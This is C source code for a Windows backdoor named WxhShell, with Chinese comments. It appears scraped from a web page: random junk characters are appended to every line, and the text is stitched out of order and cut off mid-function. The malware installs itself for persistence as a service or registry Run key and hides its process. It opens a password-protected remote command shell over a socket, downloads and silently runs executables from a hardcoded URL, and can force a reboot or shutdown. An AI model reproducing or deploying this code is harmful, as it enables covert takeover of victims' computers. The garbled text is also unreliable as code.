    if(Boot(SHUTDOWN)) Ua#*kTF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =#[_8)q  
    else { dJ"3F(X  
    closesocket(wsh); VjS %!P  
    ExitThread(0); JUok@6  
    } ^)m]j`}IGb  
    break; @#c(4}^ <w  
    } f#pT6  
  // 获取shell w;vp X>  
  case 's': { =iC5um:  
    CmdShell(wsh); [R)?93  
    closesocket(wsh); z%Ywjfn'  
    ExitThread(0); pv+FPB  
    break; s1<_=sfnT  
  } y%Ui)UMnw]  
  // 退出 s03 DL  
  case 'x': { 7uFM)b@.P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RXkE"H{  
    CloseIt(wsh); s[)2z3  
    break; (pm]U7  
    } N+rLbK*  
  // 离开 wb 2N$Ew=  
  case 'q': { 6*Qn9Q%p-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1b+ B  
    closesocket(wsh); HNxJ`x~Z~  
    WSACleanup(); 0|9(oP/:  
    exit(1); ELeR5xT  
    break; <1.].A@b*  
        } ])!|b2:s3  
  } {dhuvB  
  } '\H{Y[  
6C9KT;6  
  // 提示信息 EJO:3aKa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L,of@>  
} P1]ucu_y,  
  } -q[T0^e S  
Ne,7[k  
  return; ;XSRG*3j~4  
} t(VG#}  
#dE#w#=r  
// shell模块句柄 J\b,rOIf  
int CmdShell(SOCKET sock) \/$T 3f`x  
{ P.$U6cq  
STARTUPINFO si; #!u P >/  
ZeroMemory(&si,sizeof(si)); G5egyP;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Zs|arde2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zL5r8mD3  
PROCESS_INFORMATION ProcessInfo; TD].*9  
char cmdline[]="cmd"; JXUnhjB,B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /xJ,nwp7  
  return 0; d*khda;Vj  
} z[b,:G  
17tph;  
// 自身启动模式 .qi$X!0  
int StartFromService(void) aCcBmc  
{ Za}*6N=?*  
typedef struct .+]e9mV  
{ *E+2E^B  
  DWORD ExitStatus; FSoL|lH  
  DWORD PebBaseAddress; @=h%;"  
  DWORD AffinityMask; - y{*U1[  
  DWORD BasePriority; >~_y\  
  ULONG UniqueProcessId; p%+ 0^]v1  
  ULONG InheritedFromUniqueProcessId; "zc@(OA[z  
}   PROCESS_BASIC_INFORMATION; $TU=^W)X  
d?Gf T$1  
PROCNTQSIP NtQueryInformationProcess; !p >a,8w  
nS"K dPM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o<1e-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9xP{#Qa  
K20n355uE  
  HANDLE             hProcess; TDBWYppM  
  PROCESS_BASIC_INFORMATION pbi; BWFl8 !_X  
/p~"?9b[ i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D{Y~ kV|  
  if(NULL == hInst ) return 0; w5gN8ZF3  
6%H8Q v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^+oi|y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oF,XSd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9"52b 9U  
TC?kuQI  
  if (!NtQueryInformationProcess) return 0; qe 4hNFq  
JiEcPii  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lAJ)  
  if(!hProcess) return 0;  ^ 'FC.  
Zq~2BeB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q@F"fjWBr  
Jy@cMq2  
  CloseHandle(hProcess); YN?@ S  
L!V`Sb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h?j;*|o-  
if(hProcess==NULL) return 0; A^q= :ofQ  
.{`+bT^b<2  
HMODULE hMod; qGuz`&i  
char procName[255]; ,pa,:k?  
unsigned long cbNeeded; 0&=2+=[c  
0*L|r Jf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _s><>LH~  
D@uw[;Xb5  
  CloseHandle(hProcess); `Gx"3ZUn  
j|FGb:  
if(strstr(procName,"services")) return 1; // 以服务启动 Fkuq'C<|Y  
D;Fvd:  
  return 0; // 注册表启动 >9a%"<(2#  
} V"%2Tz  
I+D`\OSL  
// 主模块 R"6Gm67t  
int StartWxhshell(LPSTR lpCmdLine) Kv:UQdnU[  
{ #i-!:6sLA  
  SOCKET wsl; m?'5*\(ST  
BOOL val=TRUE; QtJe){(z+  
  int port=0; Jc~^32  
  struct sockaddr_in door; yiQke   
K~<pD:s  
  if(wscfg.ws_autoins) Install(); =x> z|1  
1)?^N`xF  
port=atoi(lpCmdLine); {k1s@KXtd  
@I\Z2-J  
if(port<=0) port=wscfg.ws_port; jz't!wj  
t!c8 c^HR  
  WSADATA data; aQCbRS6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vY *p][$  
FI.S?gy0   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a[\,K4l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?4Lb*{R  
  door.sin_family = AF_INET; [@kzC/Jq3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _Ta9rDSP]  
  door.sin_port = htons(port); [?RLvhU|  
!s.G$ JS<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >4ebvM 0|  
closesocket(wsl); [T"oqO4%]  
return 1; Vm'ReH  
} ~ i1w,;(  
l"}W $3]u$  
  if(listen(wsl,2) == INVALID_SOCKET) { z~4L=tA(  
closesocket(wsl); ^c< <I-o|  
return 1; ?Ee?Ol?i2  
} }E]`ly<Z  
  Wxhshell(wsl); aBr%"&Z.MG  
  WSACleanup(); ,Ot3N\%yn  
H`-%)c=  
return 0; BT 98WR"\  
$ 8_t.~q  
} LoOyqJ,  
l6xC'c,jg  
// 以NT服务方式启动 =ADAMP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h?.6e9Y4  
{ m{mK;D  
DWORD   status = 0; + h`:qB  
  DWORD   specificError = 0xfffffff; yZxgUF&`  
?@|1>epgd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4I"QT(;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EYGJDv(S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TnL%_!V!  
  serviceStatus.dwWin32ExitCode     = 0; MgHyKn'rL  
  serviceStatus.dwServiceSpecificExitCode = 0; WaWT 5|A  
  serviceStatus.dwCheckPoint       = 0; { YJ.BWr  
  serviceStatus.dwWaitHint       = 0; zVxiCyU  
[H0jDbN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tFwQ /  
  if (hServiceStatusHandle==0) return; Br]VCp   
Lr)h>j6\  
status = GetLastError(); :eQ@I+  
  if (status!=NO_ERROR) 3, ,Z  
{ $7TYix8=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )pr pG !  
    serviceStatus.dwCheckPoint       = 0; GK95=?f~8;  
    serviceStatus.dwWaitHint       = 0; &BG^:4b  
    serviceStatus.dwWin32ExitCode     = status; ~#I1!y~`  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~W5 fJd0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IAnY+= ^  
    return; > m}.}g8  
  } 7*'_&0   
:b=`sUn<X+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s7FqE>#c0  
  serviceStatus.dwCheckPoint       = 0; dAEz hR[=  
  serviceStatus.dwWaitHint       = 0; /,Ln)?eD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]_d(YHYf  
} hx)Ed  
KPW: r#d  
// 处理NT服务事件,比如:启动、停止 |t]-a%A=w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3(^9K2.s}  
{ *2 MUG h  
switch(fdwControl) Q;m .m2  
{ x18ei@c  
case SERVICE_CONTROL_STOP: b44H2A .  
  serviceStatus.dwWin32ExitCode = 0; cJ!wZT`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 70 HEu@-  
  serviceStatus.dwCheckPoint   = 0; }xLwv=Ia  
  serviceStatus.dwWaitHint     = 0; *}ay  
  { "^_p>C)T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^%go\ C ;  
  } wjS3ItB  
  return; 8Y5* 1E*  
case SERVICE_CONTROL_PAUSE: rRT9)wDa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b\=0[kBQw  
  break; ;a{ Dr  
case SERVICE_CONTROL_CONTINUE: (d#?\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jf/;`br  
  break; &\0LR?Nh  
case SERVICE_CONTROL_INTERROGATE: a2dF(H  
  break; .4_ ~ku  
}; g'pE z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S_?}H  
} &[ 3y_,  
]d$)G4X 1  
// 标准应用程序主函数 E'MMhl o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V_+3@C  
{ %3xH<$Gq5  
v{JCEb&wN  
// 获取操作系统版本 . s? ''/(  
OsIsNt=GetOsVer(); l*nS gUg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /^#} \<;  
sB7DF<91  
  // 从命令行安装 D3XQ>T[*q  
  if(strpbrk(lpCmdLine,"iI")) Install(); CXUNdB  
*ArzXhs[  
  // 下载执行文件 jy&p_v1  
if(wscfg.ws_downexe) { Fi7pq2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,{'~J @  
  WinExec(wscfg.ws_filenam,SW_HIDE); K\?vTgc(  
} qmxkmO+Qur  
-|f9~(t  
if(!OsIsNt) { z w5EaY  
// 如果时win9x,隐藏进程并且设置为注册表启动 q#OLb"bTr  
HideProc(); "<!|am(  
StartWxhshell(lpCmdLine); rB=1*.}FLc  
} {\]SvoJnJ  
else mT!~;] RrF  
  if(StartFromService()) F>^k<E?,C  
  // 以服务方式启动 w?Q@"^IL  
  StartServiceCtrlDispatcher(DispatchTable); '7Te{^<FQ$  
else c (\-7*En  
  // 普通方式启动 OmU.9PDg-  
  StartWxhshell(lpCmdLine); ;y HA.}  
s?0r\cc|:  
return 0; <&H.pN1_  
} cG"jrQ  
"G`)x+<~Z8  
vtL)  
)}paQmy#  
=========================================== Gc@ENE f  
6 _73  
^GRd;v=-@  
UK _2i(I"e  
@Chj0wWZ>  
YjHGdacs  
" -$e\m] }Z  
i g?]kZ  
#include <stdio.h> It]CoAo+  
#include <string.h> ]&}?J:+?0E  
#include <windows.h> <Xl G:nmY  
#include <winsock2.h> Y ciZU  
#include <winsvc.h> )Xg#x:  
#include <urlmon.h> 60`y=!?f  
W:9L!+m^  
#pragma comment (lib, "Ws2_32.lib") v[Ar{t&  
#pragma comment (lib, "urlmon.lib") a 2).Az  
2H]&3kM3X  
#define MAX_USER   100 // 最大客户端连接数 B623B HwS  
#define BUF_SOCK   200 // sock buffer &<!I]:Y  
#define KEY_BUFF   255 // 输入 buffer >TL0hBaaR  
VaQ}XM  
#define REBOOT     0   // 重启 *RuUf  
#define SHUTDOWN   1   // 关机 Q^mJ_~  
hTg%T#m  
#define DEF_PORT   5000 // 监听端口 >@rp]xx  
56TUh_  
#define REG_LEN     16   // 注册表键长度 hP 9+|am%  
#define SVC_LEN     80   // NT服务名长度 :UScbPG  
> ]6Eb`v  
// 从dll定义API \J1Jn~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [8)Zhw$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DM>j@(uWF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XqJ@NgsY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C/]0jAAE7  
W}T+8+RU  
// wxhshell配置信息  wl9E  
struct WSCFG { 8.9S91]=  
  int ws_port;         // 监听端口 "J[Crm  
  char ws_passstr[REG_LEN]; // 口令 Gia_B6*Y[  
  int ws_autoins;       // 安装标记, 1=yes 0=no  : [AW  
  char ws_regname[REG_LEN]; // 注册表键名 0eUsvzz 15  
  char ws_svcname[REG_LEN]; // 服务名 B}*xrPj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N2~DxVJ5cT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L\n_q6n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6.K)uQgjmv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y|1kE;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d]a*)m&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BJ{mX>I(  
\idg[&}l}  
}; le8n!Dk(  
\W*ouH  
// default Wxhshell configuration (c[|k  
struct WSCFG wscfg={DEF_PORT, ,T1 t`  
    "xuhuanlingzhe", eqjl$QWPJS  
    1, r!#a.  
    "Wxhshell", L4Kkbt<x  
    "Wxhshell", z?E:s.4F  
            "WxhShell Service", ux-Fvwoh  
    "Wrsky Windows CmdShell Service", Kb4u)~S:  
    "Please Input Your Password: ", NCl={O9<j  
  1, wAy;ZNu  
  "http://www.wrsky.com/wxhshell.exe", ^iTjr$hQ;  
  "Wxhshell.exe" >gVR5o  
    }; srC'!I=s>8  
f#mY44:,C  
// 消息定义模块 )8e_<^M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8 Z#)Xb4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SJ+.i u/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .!=g  
char *msg_ws_ext="\n\rExit."; 1Rwk}wL  
char *msg_ws_end="\n\rQuit."; n]_8!NU  
char *msg_ws_boot="\n\rReboot..."; vw+ @'+  
char *msg_ws_poff="\n\rShutdown..."; nc l-VN  
char *msg_ws_down="\n\rSave to "; FtY*I&  
"3}Bv X  
char *msg_ws_err="\n\rErr!"; bCE[oi6hb  
char *msg_ws_ok="\n\rOK!"; !&19%C4  
~":?})  
char ExeFile[MAX_PATH]; "-^TA_XfI  
int nUser = 0; L! Q&?xP  
HANDLE handles[MAX_USER]; ZRcY; ?  
int OsIsNt; }vc C4 =t/  
/ <y-pFTg  
SERVICE_STATUS       serviceStatus; cty.)e=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >F@7}Y(  
FtE%<QHt  
// 函数声明 X"'}1o  
int Install(void); ], ' n!:>  
int Uninstall(void); WKmGw^  
int DownloadFile(char *sURL, SOCKET wsh); G~^Pkl3%T  
int Boot(int flag); w{Dk,9>w)  
void HideProc(void); [h,T.zpa  
int GetOsVer(void); 1 3  
int Wxhshell(SOCKET wsl); }R.cqk\qa^  
void TalkWithClient(void *cs); :IS]|3wD  
int CmdShell(SOCKET sock); )/f,.Z$  
int StartFromService(void); }4ta#T Ea  
int StartWxhshell(LPSTR lpCmdLine); [\. ho9  
)S>~h;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B4&x?-0ZC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _RjM .  
'<8ewU  
// 数据结构和表定义 I_Oa<J\+  
SERVICE_TABLE_ENTRY DispatchTable[] = 3LX<&."z  
{ 2<Ub[R  
{wscfg.ws_svcname, NTServiceMain}, :^?ZVi59j  
{NULL, NULL} ,R*ru*  
}; f*kT7PJG  
xOD;pRZQ  
// 自我安装 m"@M~~bh  
int Install(void) /[_>U{~P#  
{ ,?i#NN5p  
  char svExeFile[MAX_PATH]; `EV[uj&1S  
  HKEY key; k(hes3JV  
  strcpy(svExeFile,ExeFile);  ae#7*B  
{f)",#  
// 如果是win9x系统,修改注册表设为自启动 {P-KU RQ  
if(!OsIsNt) { }^P(p?~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Z]?v3 9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sa*]q~ a  
  RegCloseKey(key); "S)4Cjk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RQ9T<t42  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lty`7(\  
  RegCloseKey(key); bxEb2D  
  return 0; q4(&.Al\@  
    } 2{**bArV  
  } U3%!#E{  
} ^vo^W:   
else { USe"1(|E  
I@ }:} 8t  
// 如果是NT以上系统,安装为系统服务 >^> \y8on  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z26zl[.  
if (schSCManager!=0) B 2&fvv?  
{ ^|as]x!sv  
  SC_HANDLE schService = CreateService ].2q.7Yur  
  ( WihOGdUS6  
  schSCManager, Lj({ T'f(  
  wscfg.ws_svcname, ;c<:"ad(  
  wscfg.ws_svcdisp, JTl 37j  
  SERVICE_ALL_ACCESS, ,Ea.ts>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0qZ{:}`3  
  SERVICE_AUTO_START, t'0r4&\  
  SERVICE_ERROR_NORMAL, U}7$:hO"dX  
  svExeFile, ma?569Z8~0  
  NULL, pk(<],0]X  
  NULL, g :e|  
  NULL, r 'pFHX  
  NULL, _W tSZmW?  
  NULL t`H^! b  
  ); '_@=9 \<  
  if (schService!=0) 5K{(V^88F  
  { kB"Sh_:m  
  CloseServiceHandle(schService); g8!!:fdu  
  CloseServiceHandle(schSCManager); QBY7ZT05Gt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d*8 c,x  
  strcat(svExeFile,wscfg.ws_svcname); kn`KU.J.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >x&$lT{OY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x\;`x$3t  
  RegCloseKey(key); d<(1^Rto  
  return 0; eJ$?T7aUf  
    } z15(8Y@2]  
  } 8~\Fpz|Og  
  CloseServiceHandle(schSCManager); qs 52)$  
} Zdj~B1  
} `H ^Nc\P#  
DQH _@-q  
return 1; aztP`S$h  
} 4D9l Za}  
XC0G5rtB  
// 自我卸载 Af ^6  
int Uninstall(void) bo\|mvB~  
{ W&BwBp]K  
  HKEY key; fx%'7/+  
^fXNeBj  
if(!OsIsNt) { HSp*lHU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RE!MX>sOEq  
  RegDeleteValue(key,wscfg.ws_regname); H*EQ%BLW^,  
  RegCloseKey(key); DT n=WGm)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y5cUOfYT  
  RegDeleteValue(key,wscfg.ws_regname); 4 lJ@qhV  
  RegCloseKey(key); RAXqRP,iw  
  return 0; 6bo,x  
  } pRUN [[L  
} c{rX7+bN  
} zO9|s}J8q  
else { H ,KU!1p  
9"_qa q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OQ W#BBet@  
if (schSCManager!=0) 1\kOjF)l  
{  6<sB   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d q"b_pr;  
  if (schService!=0) X f!Bsp#\g  
  { RZm5[n  
  if(DeleteService(schService)!=0) { 52wq<[#tK  
  CloseServiceHandle(schService); dSk\J[D  
  CloseServiceHandle(schSCManager); r"Pj ,}$A  
  return 0; %49@  
  } )|uPCZdLZ  
  CloseServiceHandle(schService); qJ#?=ITE  
  } c<DsCzX  
  CloseServiceHandle(schSCManager); +lO Y IQ  
} QVn!60[lj  
} ~=Er= 0  
eV1O#FLbi  
return 1; H:d{Sru  
} 4xe:+sA.N  
`H+ 7Hj  
// 从指定url下载文件 Q*(]&qr"E  
int DownloadFile(char *sURL, SOCKET wsh) CHN!o9f  
{ 9SC#N 5V  
  HRESULT hr; ^X[Kr=:Jp  
char seps[]= "/"; 3=T<c?[  
char *token; N$p}rh#7{  
char *file; i*W8_C:S  
char myURL[MAX_PATH]; #}:VZ2Z  
char myFILE[MAX_PATH]; "g>uNtt~  
( F0.lDZ  
strcpy(myURL,sURL); Wy)|-Q7  
  token=strtok(myURL,seps); 1fViW^l_  
  while(token!=NULL) |>jlY|  
  { D:8-f3  
    file=token; 92+({ fg W  
  token=strtok(NULL,seps); %jqBYn0q'  
  } E J q=MP  
"MM7qV  
GetCurrentDirectory(MAX_PATH,myFILE); -NiFO  
strcat(myFILE, "\\"); A{y3yH`#h  
strcat(myFILE, file); g0cCw2S  
  send(wsh,myFILE,strlen(myFILE),0); Qn[4&nUD  
send(wsh,"...",3,0); P,CJy|[L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p Ic ;9  
  if(hr==S_OK) *G'zES0x  
return 0; dm)V \?b  
else a%Mbq;  
return 1; K34ca-~  
zRsT6u  
} FspI[g UN,  
J);1Tpm  
// 系统电源模块 (<itE3P  
int Boot(int flag) ]/JE#  
{ A9p$5jt7  
  HANDLE hToken; c c ,]  
  TOKEN_PRIVILEGES tkp; f.V0uBDN  
qaG%PH}a  
  if(OsIsNt) { P,_GTs3/G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *)L%pH>`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >~>=[M0  
    tkp.PrivilegeCount = 1; &AUL]:<s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?u'JhZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fnL!@WF  
if(flag==REBOOT) { aNv6 "  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Jjq]lW  
  return 0; K )KE0/ n  
} x%vt$dy*8  
else { @D[;$YEk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3ZC to[Y  
  return 0; _GI [SzD  
} VqVP5nT'=  
  } vh KA8vr  
  else { }\*dD2qNL}  
if(flag==REBOOT) { czdNqk.kh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0O!%NL[,  
  return 0; 42U3>  
} W%Br%VQJ  
else { frc>0\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xg. d)n  
  return 0; 1a/@eqF''  
} |~8iNcIS  
} ~Jp\'P7*  
rQj.W6w=  
return 1; lv&<kYWY  
} m#grtmyMrI  
,5t.0XqS  
// win9x进程隐藏模块 i\},  
void HideProc(void) H.O7Y  
{ \hv*`ukF  
#u|;YC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z;7f D  
  if ( hKernel != NULL )  W* `2lf  
  { `"A\8)6-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]Ny.  gu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x4.-7%VV%  
    FreeLibrary(hKernel); wEKm3mY;  
  } qJ5Y}/r  
z/6kxV89  
return; \8{C$"F  
} afG b}8 Q9  
9t7_7{Q+;  
// 获取操作系统版本 KB *[b  
int GetOsVer(void) #E{OOcM  
{ ldI;DoE#U1  
  OSVERSIONINFO winfo; G?'L1g[lc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uH65DI<  
  GetVersionEx(&winfo); gPQ2i])"Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rguC#Xt!4  
  return 1; #x':qBv#  
  else oKA8)~Xqou  
  return 0; WH/r$.&  
} ]/bf#&@g`k  
5c3 )p^ ]g  
// 客户端句柄模块 HWVWl~FA  
int Wxhshell(SOCKET wsl) k2 k/v[60  
{ *oZBv4Vh   
  SOCKET wsh; _d %H;<_  
  struct sockaddr_in client; L$i&>cF\_>  
  DWORD myID; nCGLuZn  
4SY]Q[  
  while(nUser<MAX_USER) #RlI([f|&  
{ H.|FEV@  
  int nSize=sizeof(client); H5^ 'J`0\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^|>vK,q$I  
  if(wsh==INVALID_SOCKET) return 1; 3~a!h3.f  
J@p[v3W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /NMd GKr  
if(handles[nUser]==0) BT`D|<  
  closesocket(wsh); NU I|4X  
else P]j{JL/g&  
  nUser++; iN<&  
  } **fJAANc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cl^wLC'o  
EG@*J*|S  
  return 0; xo7H^!_   
} d_1w 9 F A  
EoIP#Cnd1  
// 关闭 socket "Z&{  
void CloseIt(SOCKET wsh) 0Evmq3,9  
{ {-7];e  
closesocket(wsh); +>44'M^Z|(  
nUser--; )O#>ONm^  
ExitThread(0); [0Z r z+q  
} g=o)=sQd  
J+Q ;'J  
// 客户端请求句柄 2/E3~X7  
void TalkWithClient(void *cs) 5?kF'yksR  
{ @Zjy"u  
jiC;*]n  
  SOCKET wsh=(SOCKET)cs; daGGgSbh  
  char pwd[SVC_LEN]; `GqS.O}C  
  char cmd[KEY_BUFF]; t?QR27cs$  
char chr[1]; ,Hch->?Og  
int i,j; jF_K*:gQ  
aVM@^n  
  while (nUser < MAX_USER) { kbM4v G  
{%N*AxkvId  
if(wscfg.ws_passstr) { |L%F`K>Z:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ke~a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sn}U4=u  
  //ZeroMemory(pwd,KEY_BUFF); -KCm#!  
      i=0; bo0m/hVU  
  while(i<SVC_LEN) { ;rV0  
 [^8*9?i4  
  // 设置超时 `.#e4 FBW  
  fd_set FdRead; 6^if%62l&  
  struct timeval TimeOut; V[HHP_  
  FD_ZERO(&FdRead); 8ooj)  
  FD_SET(wsh,&FdRead); 9"I/jd0B  
  TimeOut.tv_sec=8; eH(8T  
  TimeOut.tv_usec=0; C-@@`EP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P%ev8]2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #J\ 2/~  
++5W_Ooep  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )o SFHf  
  pwd=chr[0]; Me`jh8(K\6  
  if(chr[0]==0xd || chr[0]==0xa) { : \:jIP  
  pwd=0; O<)"k j 7  
  break; Z>wg o@z%  
  } <6Y o%xt  
  i++; ppM d  
    } 4 "@BbVYR  
.%M=dL>  
  // 如果是非法用户,关闭 socket %)i?\(/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p*-o33Ve  
} vaxNF%^~yN  
_$9<N5F.,o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 13'tsM&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kbI:}b7H  
y9=/kFPRm  
while(1) { QG4#E$ c  
_E{SGbCCi  
  ZeroMemory(cmd,KEY_BUFF); p6A"_b^  
ZgcA[P  
      // 自动支持客户端 telnet标准   "6gu6f  
  j=0; 5Q?7 xTQ  
  while(j<KEY_BUFF) { )^|zuYzN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]mn(lK  
  cmd[j]=chr[0]; R1! {,*Gy  
  if(chr[0]==0xa || chr[0]==0xd) { V=H87 ^b  
  cmd[j]=0; sc@v\J;k  
  break; s~6?p% 2]  
  } :cnH@:  
  j++; <ij;^ygYD  
    } INyreoMp  
sG%Q?&-  
  // 下载文件 q-KN{y/  
  if(strstr(cmd,"http://")) { P2_JS]>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lo,?mj%M  
  if(DownloadFile(cmd,wsh)) Q6`oo/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DQ?'f@I&*  
  else %+:%%r=Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |0vY'A)]  
  } `jSxq66L p  
  else { w[^s) 1  
' {5|[  
